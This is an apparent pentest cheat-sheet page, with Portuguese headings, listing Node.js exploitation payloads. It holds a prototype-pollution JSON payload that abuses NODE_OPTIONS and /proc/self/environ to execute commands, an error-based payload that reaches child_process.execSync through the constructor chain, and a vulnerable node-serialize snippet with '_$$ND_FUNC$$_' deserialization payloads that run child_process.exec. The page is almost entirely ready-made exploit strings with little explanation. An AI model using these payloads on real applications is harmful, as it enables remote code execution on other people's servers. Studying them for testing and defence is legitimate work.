NodeJS

Prototype Pollution Nodejs

{"name":"nosferatu","constructor":{"prototype":{"env":{"teste":"require('child_process').exec('id').stdout.pipe(process.stdout);//","NODE_OPTIONS":"--require /proc/self/environ"}}},"paper":10}

Prototype Pollution Nodejs Error Based

[(function test(xct){return ''[!nosferatu?'__proto__':'constructor'][xct]})('constructor')('throw new Error(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())')()]

Desserialização Insegura Nodejs

Código vulnerável

var teste = require('node-serialize')
teste.unserialize(data);

Exploit

{"a":"_$$ND_FUNC$$_function(){console.log(\"nosferatu\")}"}
{"a":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

Last updated